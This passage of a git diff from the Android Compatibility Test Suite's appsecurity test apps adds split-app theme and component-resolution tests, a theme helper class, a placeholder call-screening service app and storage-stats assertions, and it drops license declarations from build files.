      * Verify that shared storage lives on same volume as app.
      */
+    @Test
     public void testPrimaryOnSameVolume() throws Exception {
         final File current = getContext().getFilesDir();
         final File primary = Environment.getExternalStorageDirectory();
@@ -519,16 +751,19 @@
         }
     }
 
+    @Test
     public void testCodeCacheWrite() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").createNewFile());
         assertTrue(new File(getContext().getCodeCacheDir(), "cache.raw").createNewFile());
     }
 
+    @Test
     public void testCodeCacheRead() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").exists());
         assertFalse(new File(getContext().getCodeCacheDir(), "cache.raw").exists());
     }
 
+    @Test
     public void testRevision0_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -537,6 +772,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision12_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -545,6 +781,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision0_12() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -553,6 +790,142 @@
         assertEquals(12, info.splitRevisionCodes[0]);
     }
 
+    @Test
+    public void testComponentWithSplitName_singleBase() {
+        final PackageManager pm = getContext().getPackageManager();
+        final Intent intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+
+        // Service with split name `feature_warm` cannot be found
+        List<ResolveInfo> resolveInfoList = pm.queryIntentServices(intent, 0);
+        assertThat(resolveInfoList.stream().noneMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_SERVICE_NAME))).isTrue();
+
+        // Provider with split name `feature_warm` cannot be found
+        resolveInfoList = pm.queryIntentContentProviders(intent, 0);
+        assertThat(resolveInfoList.stream().noneMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_PROVIDER_NAME))).isTrue();
+    }
+
+    @Test
+    public void testComponentWithSplitName_featureWarmInstalled() throws Exception {
+        final PackageManager pm = getContext().getPackageManager();
+        final Intent intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+
+        // Service with split name `feature_warm` could be found
+        List<ResolveInfo> resolveInfoList = pm.queryIntentServices(intent, 0);
+        assertThat(resolveInfoList.stream().anyMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_SERVICE_NAME))).isTrue();
+
+        // Provider with split name `feature_warm` could be found
+        resolveInfoList = pm.queryIntentContentProviders(intent, 0);
+        assertThat(resolveInfoList.stream().anyMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_PROVIDER_NAME))).isTrue();
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(FEATURE_WARM_EMPTY_PROVIDER_NAME.getClassName());
+        final Field field = provider.getDeclaredField("sCreated");
+        assertThat((boolean) field.get(null)).isTrue();
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+            ThemeColors themeColors) {
+        final Activity activity = mActivityRule.launchActivity(
+                getTestThemeIntent(activityName, themeResId));
+        final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+        expected.assertThemeValues(themeColors);
+        expected.assertThemeApplied(activity);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
     private static void updateDpi(Resources r, int densityDpi) {
         final Configuration c = new Configuration(r.getConfiguration());
         c.densityDpi = densityDpi;
@@ -616,4 +989,27 @@
             is.close();
         }
     }
+
+    private int resolveResourceId(String nameOfIdentifier) {
+        final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+        return resId;
+    }
+
+    private static Intent getTestThemeIntent(String activityName, int themeResId) {
+        final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+        intent.setComponent(ComponentName.createRelative(PKG, activityName));
+        intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+        return intent;
+    }
+
+    private static ComponentName getComponentName(ResolveInfo resolveInfo) {
+        final ComponentInfo componentInfo = resolveInfo.activityInfo != null
+                ? resolveInfo.activityInfo : resolveInfo.serviceInfo != null
+                ? resolveInfo.serviceInfo : resolveInfo.providerInfo;
+        if (componentInfo == null) {
+            throw new AssertionError("Missing ComponentInfo in the ResolveInfo!");
+        }
+        return new ComponentName(componentInfo.packageName, componentInfo.name);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+    public static final String THEME_WARM =
+            "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+    public static final String THEME_ROSE =
+            "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+    public enum ThemeColors {
+        BASE,
+        BASE_LT,
+        WARM,
+        WARM_LT,
+        ROSE,
+        ROSE_LT
+    };
+
+    private static final int COLOR_BLUE = 0xFF0000FF;
+    private static final int COLOR_TEAL = 0xFF008080;
+    private static final int COLOR_AQUA = 0xFF00FFFF;
+    private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+    private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+    private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+    private static final int COLOR_RED = 0xFFFF0000;
+    private static final int COLOR_YELLOW = 0xFFFFFF00;
+    private static final int COLOR_RED_LT = 0xFFFFCCCB;
+    private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+    private static final int COLOR_PINK = 0xFFFFC0CB;
+    private static final int COLOR_RUBY = 0xFFCC0080;
+    private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+    private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+    private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+    private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+    private static final int[] THEME_WARM_LT_COLORS =
+            {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+    private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+    /** {@link com.android.cts.splitapp.R.attr.customColor} */
+    private final int mCustomColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    private final int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    private final int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    private final int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    private final int mWindowBackground;
+
+    public TestThemeHelper(Context context, int themeResId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+        mCustomColor = getColor(theme, R.attr.customColor);
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    public void assertThemeValues(ThemeColors themeColors) {
+        final int[] colors = getThemeColors(themeColors);
+        assertThat(themeColors).isNotNull();
+        assertThat(mCustomColor).isEqualTo(colors[0]);
+        assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+        assertThat(mStatusBarColor).isEqualTo(colors[2]);
+        assertThat(mWindowBackground).isEqualTo(mCustomColor);
+    }
+
+    private int[] getThemeColors(ThemeColors themeColors) {
+        switch (themeColors) {
+            case BASE: return THEME_BASE_COLORS;
+            case BASE_LT: return THEME_BASE_LT_COLORS;
+            case WARM: return THEME_WARM_COLORS;
+            case WARM_LT: return THEME_WARM_LT_COLORS;
+            case ROSE: return THEME_ROSE_COLORS;
+            case ROSE_LT: return THEME_ROSE_LT_COLORS;
+            default:
+                break;
+        }
+        return null;
+    }
+
+    public void assertThemeApplied(Activity activity) {
+        assertLayoutBGColor(activity, mCustomColor);
+
+        final Window window = activity.getWindow();
+        assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+        assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+        assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+        assertTextViewBGColor(activity);
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            fail("Can't get drawable color");
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+
+    private void assertLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.content);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color).isEqualTo(expected);
+    }
+
+    private void assertTextViewBGColor(Activity activity) {
+        final View view = activity.findViewById(R.id.text);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, mColorBackground);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+    static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+    static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+        setTheme(themeResId);
+        setContentView(R.layout.base_linearlayout);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp
new file mode 100644
index 0000000..121ef83
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStatsSecurityApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    min_sdk_version: "28",
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml
new file mode 100644
index 0000000..133e07f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.statsdsecurityapp">
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <application android:label="StatsdSecurityApp">
+        <service android:name=".DummyCallscreeningService"
+                 android:permission="android.permission.BIND_SCREENING_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.CallScreeningService"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java
new file mode 100644
index 0000000..3a1142f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.statsdsecurityapp;
+
+import android.annotation.NonNull;
+import android.telecom.Call;
+import android.telecom.CallScreeningService;
+
+public class DummyCallscreeningService extends CallScreeningService {
+    @Override
+    public void onScreenCall(@NonNull Call.Details callDetails) {
+
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
index ab51a4f..3719805 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsStorageAppLib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
index 46ca3ae..6a04c09 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
@@ -145,9 +145,7 @@
         for (File f : files) {
             if (f.isDirectory()) {
                 if (excludeObb && f.getName().equalsIgnoreCase("obb")
-                        && f.getParentFile().getName().equalsIgnoreCase("Android")
-                        && !f.getParentFile().getParentFile().getParentFile().getName()
-                                .equalsIgnoreCase("sandbox")) {
+                        && f.getParentFile().getName().equalsIgnoreCase("Android")) {
                     Log.d(TAG, "Ignoring OBB directory " + f);
                 } else {
                     size += getSizeManual(f, excludeObb);
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
index 4a2d4fa..d7c9fd8 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStorageStatsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index af75c90..9ca02fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -19,6 +19,7 @@
 import static android.os.storage.StorageManager.UUID_DEFAULT;
 
 import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CACHE_EXT;
 import static com.android.cts.storageapp.Utils.CODE_ALL;
 import static com.android.cts.storageapp.Utils.DATA_ALL;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
@@ -130,6 +131,12 @@
         final long deltaCache = CACHE_ALL;
         assertMostlyEquals(deltaCache, afterApp.getCacheBytes() - beforeApp.getCacheBytes());
         assertMostlyEquals(deltaCache, afterUser.getCacheBytes() - beforeUser.getCacheBytes());
+
+        final long deltaExternalCache = CACHE_EXT;
+        assertMostlyEquals(deltaExternalCache,
+                afterApp.getExternalCacheBytes() - beforeApp.getExternalCacheBytes());
+        assertMostlyEquals(deltaExternalCache,
+                afterUser.getExternalCacheBytes() - beforeUser.getExternalCacheBytes());
     }
 
     public void testVerifyStatsMultiple() throws Exception {
@@ -296,6 +303,8 @@
         final long targetB = doAllocateProvider(PKG_B, 2.0, 1420070400);
         final long totalAllocated = targetA + targetB;
 
+        MediaStore.waitForIdle(getContext().getContentResolver());
+
         // Apps using up some cache space shouldn't change how much we can
         // allocate, or how much we think is free; but it should decrease real
         // disk space.
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
index ba0bbee..03282b3 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsTargetInstrumentationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
index 22bf8d4..ce44a1c 100644
--- a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseEmbeddedDexApp_Canonical",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index b7ea673..c3ab6bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
index 6540ac9..38ccc7f 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessFailActivity",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
index 8665e69..94fbf5f 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessFailApplication",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
index f0b9223..bf94a46 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessFailProvider",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
index b06920b..8a0fa9b 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessFailReceiver",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
index bba62ad..44ad956 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessFailService",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
index aa9c52a..8887a88 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUseProcessSuccess",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
index c799d9d..5b13a8b 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsV3SigningSchemeRotationTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
index fa03865..cf2cb34 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
